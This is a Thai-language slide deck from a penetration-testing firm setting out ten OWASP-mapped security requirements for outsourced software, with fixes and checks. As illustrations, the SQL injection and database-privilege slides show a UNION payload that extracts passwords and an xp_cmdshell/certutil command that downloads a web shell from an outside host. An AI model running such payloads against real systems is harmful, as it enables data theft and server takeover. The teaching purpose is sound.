#2 ธนาคาร B
IP: 1.2.3.4
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
46
#7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ
Vendor
A
แอป BBB 123
ใหธนาคาร BBB
แอป AAA 456
ใหธนาคาร AAA
ลูกคา
#1 ธนาคาร A
ลูกคา
#2 ธนาคาร B
IP: 1.2.3.4
แอป CCC 789
ใหธนาคาร CCC ลูกคา
#3 ธนาคาร C
…..
…..
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
47
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
48
#8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร
ถาหากระบบมีการกําหนดสิทธิ์การเขาถึงระบบ (user role) จะตองมีการตรวจ
สอบในระดับ API วาไดทําการกําหนด สิทธิ์ของแตละ role ใหเขาถึงไดเฉพาะ
API ที่ role นั้น ๆ มีสิทธิ์เทานั้น
ควรมีเอกสารระบุรายละเอียดสิทธิ์ของแตละ user role โดยการทําตาราง
access control matrix เพื่อใชในการยืนยัน สิทธิ์ของ user role ในระบบ
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
49
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
50
#9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน
ปดการเขาถึงระบบสวนที่ไมไดใชงานจากภายนอก (อินเทอรเน็ต)
เชน phpMyAdmin, MySQL (Port), RDP (Port), SSH (Port)
โดยอาจยอมใหสามารถเขาไดจาก IP ตนทางที่กําหนด
เทานั้นเชน Public Static IP/ VPN IP ของบริษัท
$ vim
/etc/apache2/conf-available/phpmyadmin.conf
#Restrict phpMyAdmin via IP address
Order Deny,Allow
Deny from All
Allow from 10.1.1.10
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
51
#9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน
ใช nmap แสกนหา service port ที่เปดอยู
วิธีการตรวจสอบ
$ sudo nmap scanme.nmap.org
Password:
Starting Nmap 7.91 ( https://nmap.org ) at
2021-02-23 18:57 +07
Nmap scan report for scanme.nmap.org
(45.33.32.156)
Host is up (0.23s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
52
GoDaddy
URL: https://droidsans.com/godaddy-hacked-breached-stolen-data/
ตัวเว็บไดถูกแฮคขอมูลผานการล็อคอินแบบ SSH ในกลุมลูกคาที่ทําการโฮสตเซิรฟเวอรกับทางบริษัท ตั้งแตเดือน
ตุลาคม 2019 และเพิ่งมาคนพบในเดือนเมษายน 2020
อาจสงผลอาจจะทําใหลูกคาทั่วไปที่ใชงานบริการอยูทั่วโลกกวา 19 ลานราย มีความเสี่ยงที่ขอมูลของเว็บรั่วไหล
แฮกเกอรได Usernames และ Password ของผูใช SSH ไปประมาณ 28,000 ราย
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
53
https://www.blognone.com/node/101492
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
54
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
55
#10 ปดการเขาถึงไฟลที่มีความเสี่ยง
https://sdhbank.local/server-status/
https://sdhbank.local/.svn/
https://sdhbank.local/.git/
https://sdhbank.local/uploads/original_name.pdf
- ทําการเก็บไฟลอัปโหลดใน path ที่ไมอยูใน web root
- รีวิวไฟลที่สามารถเขาถึงไดผาน URL
หาไฟลที่อาจมีความเสี่ยงเชน ขอมูล backup
หรือไฟลตั้งคา ที่แมจะเชื่อวาไมมีคนรูชื่อ URL ที่ถูกตอง
วิธีการ implement และตรวจสอบ
บจก.สยามถนัดแฮก
Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25)
Confidentiality class: Public
56
10 ขอกําหนดดานความปลอดภัย
เมื่อตองจางคนมาทําซอฟตแวรใหองคกร
# ขอกําหนด OWASP Top 10 Web App
1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection
2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration
3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration
4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication
5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก
A1:2017 - Injection, A4:2017 - XML External Entity (XXE),
A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure
Deserialization, ...
6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication
7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ -
8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control
9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration
10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
Any Question ?
Contact us:
pentest@sth.sh
บจก.สยามถนัดแฮก

Contenu connexe

Plus de Pichaya Morimoto

Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Pichaya Morimoto
 
Exploiting Blind Vulnerabilities
Exploiting Blind VulnerabilitiesExploiting Blind Vulnerabilities
Exploiting Blind VulnerabilitiesPichaya Morimoto
 
From Web Vulnerability to Exploit in 15 minutes
From Web Vulnerability to Exploit in 15 minutesFrom Web Vulnerability to Exploit in 15 minutes
From Web Vulnerability to Exploit in 15 minutesPichaya Morimoto
 
Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101Pichaya Morimoto
 
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?Pichaya Morimoto
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkPichaya Morimoto
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoPichaya Morimoto
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoPichaya Morimoto
 

Plus de Pichaya Morimoto (8)

Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)Security Misconfiguration (OWASP Top 10 - 2013 - A5)
Security Misconfiguration (OWASP Top 10 - 2013 - A5)
 
Exploiting Blind Vulnerabilities
Exploiting Blind VulnerabilitiesExploiting Blind Vulnerabilities
Exploiting Blind Vulnerabilities
 
From Web Vulnerability to Exploit in 15 minutes
From Web Vulnerability to Exploit in 15 minutesFrom Web Vulnerability to Exploit in 15 minutes
From Web Vulnerability to Exploit in 15 minutes
 
Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101Exploiting WebApp Race Condition Vulnerability 101
Exploiting WebApp Race Condition Vulnerability 101
 
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
 
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP FrameworkVulnerable Active Record: A tale of SQL Injection in PHP Framework
Vulnerable Active Record: A tale of SQL Injection in PHP Framework
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Art of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya MorimotoArt of Web Backdoor - Pichaya Morimoto
Art of Web Backdoor - Pichaya Morimoto
 

10 ข้อกำหนดความปลอดภัยเมื่อต้องจ้างคนมาทำซอฟต์แวร์ให้องค์กร

  • 1. Responsible: Mr. Pichaya Morimoto Version (Date): 1.0 (2021-02-25) Confidentiality class: Public บจก.สยามถนัดแฮก 10 ขอกําหนดความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร Made for
  • 2. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 2
  • 3. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 3 49% of the Attacks ขอมูลสําคัญ ผูไมประสงคดี ระบบ สารสนเทศ (ภายนอก) ผูใชงานทั่วไป ระบบ สารสนเทศ (ภายใน) 1 2 บริษัท แมวเหมียว
  • 4. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 4 51% of the Attacks ขอมูลสําคัญ ระบบ สารสนเทศ (ภายนอก) ระบบ สารสนเทศ (ภายใน) ผูไมประสงคดี ผูใชงานทั่วไป ? ระบบที่ คาดไมถึงวา จะโดน - Firewall - VPN GW - User PC (Malware) 1 1 2 3 ผูใหบริการ ภายนอก บริษัท แมวเหมียว
  • 5. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 5 Know your Attack Surfaces ขอมูลสําคัญ ระบบ สารสนเทศ (ภายใน) ผูไมประสงคดี ? ระบบที่ คาดไมถึงวา จะโดน ผูใหบริการ ภายนอก ระบบ สารสนเทศ (ภายนอก) ? ระบบที่ คาดไมถึงวา จะโดน ? ระบบที่ คาดไมถึงวา จะโดน ? ระบบที่ คาดไมถึงวา จะโดน ? ระบบที่ คาดไมถึงวา จะโดน บริษัท แมวเหมียว
  • 6. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 6 Defense in Depth ขอมูลสําคัญ
  • 7. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 7 Software Security (Secure SDLC) Just do PEnTest HerE anD wE aRe DonE! ในอุดมคติ ในชีวิตจริง
  • 8. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 8
  • 9. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 9 OWASP Top 10 - Web, Mobile, API, ...
  • 10. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 10
  • 11. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 11 ETDA: มาตรฐานการรักษาความมั่นคงปลอดภัย สําหรับเว็บไซต์ (Website Security Standard - WSS) https://standard.etda.or.th/?page_id=7799
  • 12. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 12 https://owasp.org/www-project-application-security-verification-standard/
  • 13. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 13 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration (ปองกันโดนแฮก 78.95%)
  • 14. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 14 #1 ใช Prepared Statement หรือเทียบเทา เทานั้น การเชื่อมตอฐานขอมูลที่ใชคําสั่ง SQL ตองใชคําสั่ง Parameterized Query/Prepared Statement หรือเทียบเทา เทานั้น หามมีการใชคําสั่ง SQL ดวยการตอคา String โดยตรง ถาหากมี การตอคา String ในคําสั่ง SQL (กรณีพิเศษ) - ตองมีเอกสารเหตุผลประกอบ ในทุกจุดวาทําไมถึงไมสามารถใช คําสั่ง Parameterized Query/Prepared Statement ในจุดนั้นได - ตองอธิบายวิธีการทํา input validation เพิ่มเติม เพื่อกําหนด allowlist ของขอมูลที่ยอมใหใสเขาไปไดอยางชัดเจน พรอมชื่อไฟล และตัวอยางโคดที่ทําการตรวจสอบในกรณีนั้น ๆ หามทํา blacklist เพื่อปองกัน SQL Injection เชนการหามใสคําสั่ง select union หรือ 1 or 1=1 เพราะวาวิธีการทํา SQL Injection มีเยอะมาก
  • 15. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 15 ตัวอย่าง SQL Injection Vulnerability Class.forName("org.apache.derby.jdbc.ClientDriver"); Connection conn = DriverManager.getConnection ( "jdbc:derby://localhost:1527/sth","name","pass"); String username = request.getParameter("username"); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM TABLE WHERE USERNAME = '" + username +"'"); https://sdhbank.local/?username=1'+and+1>2+union+select+password+from+users--+- P@ssw0rd password 123456 qwerty dragon iloveyou ... SELECT * FROM TABLE WHERE USERNAME = '1' and 1>2 union select password from users-- -' 1 2 3 4 5
  • 16. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 16 #1 ใช Prepared Statement หรือเทียบเทา เทานั้น ใช Prepared Statement วิธีการ implement Class.forName("org.apache.derby.jdbc.ClientDriver"); Connection conn = DriverManager.getConnection ( "jdbc:derby://localhost:1527/sth","name","pass"); PreparedStatement select = conn.prepareStatement( "SELECT * FROM TABLE WHERE USERNAME = ?"); select.setString(1,request.getParameter("username")); select.executeQuery();
  • 17. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 17 SQL Query + Data Data Prepared Statement Query คําสั่ง SQL ที่มีการเชื่อมตอ String คําสั่ง SQL ที่ไมมีการเชื่อมตอ String set คาตัวแปร Execute sqlQuery = "SELECT * FROM TABLE WHERE USERNAME = " + username; Execute sqlQuery = "SELECT * FROM TABLE WHERE USERNAME = :username" username
  • 18. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 18 #1 ใช Prepared Statement หรือเทียบเทา เทานั้น วิธีการตรวจสอบ - หาจุดที่มีการเขียนโคดดวย prepared statement บันทึกตัวอยางโคด/ชื่อไฟล - หาจุดที่มีการเชื่อมตอคําสั่ง SQL กับ String https://twitter.com/spaceraccoonsec/status/1158618707909677056
  • 19. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 19 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 20. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 20 #2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน 1. หามใชบัญชี DBA (DataBase Administrator) อยาง root หรือ sa ในแอปพลิเคชัน เพื่อเชื่อมตอฐานขอมูลถาไมจําเปน 2. จะตองมีการสราง Database User ใหม และกําหนดสิทธิ์ ให เขาถึง Table ที่แอปพลิเคชันจําเปนตองใชเทานั้น หามกําหนดสิทธิ์ Database User ของแอปพลิเคชัน ใหสามารถ อาน/เขียนไฟล หรือรัน OS Command ได ถาไมมีความจําเปน POST / HTTP/1.1 Host: sdhbank.local Content-Type: application/json ID=1');exec master..xp_cmdshell 'certutil -urlcache -f http://sth.sh:8000/shell.php C:xampphtdocsshell.php';-- POST / HTTP/1.1 Host: sdhbank.local Content-Type: application/json ID=1' and 1>2 union select password from anotherapp.users-- -
  • 21. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 21 #2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน วิธีการ implement กําหนดสิทธิ์ Database User ใหสามารถ select และ insert ขอมูลไดเทานั้น $ mysql -u root -p Enter password : mysql> CREATE USER somchai@localhost IDENTIFIED BY QkYKmwtec; Query OK, 0 rows affected (0.00 sec) mysql> GRANT select,insert ON username TO somchai@localhost; Query OK, 0 rows affected (0.00 sec) mysql> Class.forName("org.apache.derby.jdbc.ClientDriver"); Connection con = DriverManager.getConnection ("jdbc:derby://localhost/ mydatabase" +"?user=somchai@localhost&password=password"); String sql = "SELECT * FROM TABLE" + " WHERE USERNAME = ? ORDER By CustomerID ASC"; pre = connect.prepareStatement(sql);
  • 22. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 22 #2 สรางและใชงาน Database User สิทธิ์เทาที่ จําเปน - เปดไฟลที่ใชเก็บรหัสผานของแอปพลิเคชันในการเชื่อมตอฐานขอมูลเชน config.php เพื่อยืนยันวา database user ไมใชสิทธิ์ DBA (root หรือ sa) - ทดลองใช database user เพื่อแสดงรายการสิทธิ์ของ ฐานขอมูลและคําสั่งที่ใชได วิธีการตรวจสอบ mysql> SHOW GRANTS FOR 'somchai'@'localhost'; +------------------------------------------------------------------+ | Grants for somchai@localhost | +------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `somchai`@`localhost` | | GRANT SELECT, INSERT ON `mydatabase`.* TO `somchai`@`localhost` | +------------------------------------------------------------------+
  • 23. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 23 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 24. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 24 #3 แยกรหัสผานของระบบทดสอบกับระบบจริง รหัสผานฐานขอมูล รหัสผานเซิรฟเวอร หรือสวนประกอบอื่น ๆ ของ ระบบทดสอบ (UAT/Staging) กับ <--> ระบบใชงานจริง (Production) หามเปนคาเดียวกัน รวมถึง secret key ที่ใช ณ จุดตาง ๆ เชน Laravel APP_KEY, Wordpress AUTH_KEY, หรือ secret key ที่ใช sign คา JWT เปนตน และ หามใชรหัสผานหรือ secret key ที่พัฒนาใหระบบใหบริษัท เปนคาเดียวกับที่นําไปใชใหลูกคาเจาอื่น File: config.java (UAT) File: config.java (Prod) // UAT String db_password = "1GZbsr1hmu"; String secret_key = "sV8I20AP1VryWrxmhr3U3PgTAmbNWSMx"; // Prod String db_password = "1GZbsr1hmu"; String secret_key = "sV8I20AP1VryWrxmhr3U3PgTAmbNWSMx";
  • 25. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 25 #3 แยกรหัสผานของระบบทดสอบกับระบบจริง #1 สราง secret key 2 ครั้ง ใชแยกกันในระบบทดสอบกับระบบจริง วิธีการ implement #2 แยกคนเขาถึง secret key ของ UAT กับ Prod ออกจากัน #3 มีระบบ automation ที่เก็บและดึง secret key ตอน deployment แยกกันเสมอ #4 มีระบบ automation ที่สุมและดึง secret key ใหมเสมอ (** ขึ้นกับเงื่อนไขการใชงาน)
  • 26. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 26 #3 แยกรหัสผานของระบบทดสอบกับระบบจริง Jenkins → Credentials → System → Global Credentials → Add new credentials (http://localhost:8080/credentials/store/system/domain/_/newCredentials) ใช Jenkins เก็บและดึงไปใชตอน build/deploy
  • 27. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 27 Jenkins - เอาไปต่อกับ Secret Vault อีกที https://medium.com/lovescloud/secure-your-jenkins-90a694ce50fb
  • 28. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 28 #3 แยกรหัสผานของระบบทดสอบกับระบบจริง - รีวิวคา secret key วาคาของ UAT/Staging และ Prod เปนคนละคากัน - ทดสอบนําคาเขารหัสของ UAT/Staging และ Prod มาสลับใชกัน - รีวิวระบบ automation ที่ใช สราง/เก็บ/และดึง secret key มาใช วิธีการตรวจสอบ File: config.java (UAT) File: config.java (Prod) // UAT String db_password = "EiM73rnnxUBvM7z4"; String secret_key = "7eAKSD3VuLfAgoMzZpJSJ28oAyfkp9Vb"; // Prod String db_password = "4e5MCVAbkieSzX4f"; String secret_key = "DQ8mEcNK3zsB2GZcRNHZvZqUkHrK6NE9"; GET /api/admin Host: prod.sdhbank.com Cookie: session_token=<UAT-Admin-User-JWT>
